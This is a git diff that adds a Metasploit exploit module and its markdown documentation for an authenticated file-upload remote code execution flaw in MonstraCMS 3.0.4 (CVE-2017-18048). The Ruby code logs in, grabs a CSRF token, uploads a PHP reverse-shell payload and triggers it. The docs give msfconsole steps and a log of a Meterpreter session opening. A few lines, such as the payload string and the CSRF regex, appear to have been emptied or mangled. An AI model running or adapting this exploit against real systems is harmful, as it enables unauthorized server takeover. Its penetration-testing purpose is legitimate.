diff --git a/documentation/modules/exploit/multi/http/monstra_fileupload_exec.md b/documentation/modules/exploit/multi/http/monstra_fileupload_exec.md new file mode 100644 index 0000000000..c7c60922da --- /dev/null +++ b/documentation/modules/exploit/multi/http/monstra_fileupload_exec.md @@ -0,0 +1,60 @@ +## Description +MonstraCMS 3.0.4 allows users to upload arbitrary files which leads to remote command execution on the remote server. An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file. +This module was tested against MonstraCMS 3.0.4. +Additional information and vulnerabilities can be viewed on Exploit-DB [43348](https://www.exploit-db.com/exploits/43348/). + +## Vulnerable Application +Available at [Exploit-DB](https://www.exploit-db.com/apps/23663fc7b47c4c1e476b793ea53660bc-monstra-3.0.4.zip) + +### Vulnerable Application Installation Setup + 1. Download Application : `https://www.exploit-db.com/apps/23663fc7b47c4c1e476b793ea53660bc-monstra-3.0.4.zip` + 2. Extract : `23663fc7b47c4c1e476b793ea53660bc-monstra-3.0.4.zip` + 3. Move In WebDirectory : `C:\xampp\htdocs\` + 4. Now Visit : http://localhost/ + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: `use exploit/multi/http/monstra_fileupload_exec` + 4. Do: `set rport ` + 5. Do: `set rhost ` + 6. Do: `set targeturi monstra` + 7. Do: `set username USERNAME` + 8. Do: `set password PASSWORD` + 9. Do: `check` +``` +[*] Monstra CMS: 3.0.4 +[+] 192.168.0.101:80 The target is vulnerable. +``` + 10. Do: `set lport ` + 11. Do: `set lhost ` + 12. Do: `exploit` + 13. You should get a shell. + + +## Scenarios +### Monstra CMS on Windows Target +``` +msf exploit(multi/http/monstra_fileupload_exec) > check + +[*] Monstra CMS: 3.0.4 +[+] 192.168.0.101:80 The target is vulnerable. +msf exploit(multi/http/monstra_fileupload_exec) > exploit + +[*] Started bind handler +[*] Trying to Login ...... +[+] Authentication successful : [ editor : editor ] +[+] CSRF-Token for File Upload : 2a67a7995c15c69a158d897f517e3aff2e3a4ae9 +[*] Trying to upload file with malicious Content.... +[*] Executing Payload +[*] Sending stage (37775 bytes) to 192.168.0.101 +[*] Meterpreter session 1 opened (10.0.2.15:45689 -> 192.168.0.101:4444) at 2018-06-30 12:39:53 +0530 +[+] Deleted TSPfeLYdMP.PHP + +meterpreter > sysinfo +Computer : 114619-T470P +OS : Windows NT 114619-T470P 10.0 build 16299 (Windows 10) AMD64 +Meterpreter : php/windows +meterpreter > +``` diff --git a/modules/exploits/multi/http/monstra_fileupload_exec.rb b/modules/exploits/multi/http/monstra_fileupload_exec.rb new file mode 100644 index 0000000000..1c7160d042 --- /dev/null +++ b/modules/exploits/multi/http/monstra_fileupload_exec.rb @@ -0,0 +1,180 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Monstra CMS Authenticated Arbitrary File Upload', + 'Description' => %q{ + MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to remote command execution on the remote server. + An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file. + This module was tested against MonstraCMS 3.0.4. + }, + + 'Author' => + [ + 'Ishaq Mohammed ', # Discoverer & Proof of Concept + 'Touhid M.Shaikh ', # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE','2017-18048'], + ['EDB','43348'], + ['URL','https://blogs.securiteam.com/index.php/archives/3559'], + ['URL','https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1'], + ['URL','https://www.youtube.com/watch?v=-ziZ6DELbzw'] + ], + 'DefaultOptions' => + { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp', + 'Encoder' => 'php/base64' + }, + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Monstra CMS 3.0.4', { }], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 18 2017')) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Base Monstra CMS directory path", '/']), + OptString.new('USERNAME', [ true, "Username to authenticate with", '']), + OptString.new('PASSWORD', [ true, "Password to authenticate with", '']) + ]) + end + + def check + begin + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,'admin', 'index.php') }) + rescue + vprint_error("Unable to access the index.php file") + return CheckCode::Unknown + end + + if res and res.code != 200 + vprint_error("Error accessing the index.php file") + return CheckCode::Unknown + end + + if res.body =~ /<\/a>.*?Version (\d+\.\d+\.\d+)/i + version = Gem::Version.new($1) + vulnVersion = Gem::Version.new('3.0.4') + vprint_status("Monstra CMS: #{version}") + + if version > vulnVersion + return CheckCode::Safe + elsif version == vulnVersion + return CheckCode::Appears + elsif version < vulnVersion + return CheckCode::Detected + end + end + end + + def uri + target_uri.path + end + + def login + res = nil + vprint_status('Trying to Login ......') + # Send Creds with cookies. + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'admin', 'index.php'), + 'vars_post' => { + 'login' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'login_submit' => 'Log+In' + } + }) + cookies = res.get_cookies + + fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil? + + # Try to access index page with authenticated cookie. + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'admin' '/index.php'), + 'cookie' => cookies + }) + fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil? + + # if we redirect to core_welcome then we assume we have authenticated cookie. + if res.code == 302 && res.headers['Location'].include?('index.php?id=dashboard') + print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]") + store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) + return cookies + else + fail_with(Failure::Unreachable, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") + end + end + + def exploit + #Login Function Execute and Return Cookies + cookies = login + + #Random payload name. + pay_name = "#{rand_text_alpha(5..10)}.PHP" + + + # Payload Gen. + evilbyte = "" + + # Request for CSRF token for file upload. + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'admin', '/index.php'), + 'vars_get' => {'id' => 'filesmanager'}, + 'method' => 'GET', + 'cookie' => cookies + }) + + # Grabbing CSRF token from body + // =~ res.body + fail_with(Failure::Unreachable, "#{peer} - Could not determine CSRF token") if csrf.nil? + vprint_good("CSRF-Token for File Upload : #{csrf}") + + # setup POST request. + post_data = Rex::MIME::Message.new + post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="csrf"') # CSRF token #form-data; name="file"; filename="agent22.PHP" + post_data.add_part("#{evilbyte}", content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file\"; filename=\"#{pay_name}\"") # payload + post_data.add_part("Upload", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="upload_file"') # extra + data = post_data.to_s + + vprint_status("Trying to upload file #{pay_name} with malicious content....") + # Lets Send Upload request. + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'admin', '/index.php'), + 'vars_get' => {'id' => 'filesmanager'}, + 'method' => 'POST', + 'cookie' => cookies, + 'Connection' => 'close', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + # Cleanup delete payload after get meterpreter. + register_files_for_cleanup(pay_name) + + + # Execute our payload simply call to payload. + print_status("Executing Payload " ) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'public', 'uploads', pay_name) + }) + + end +end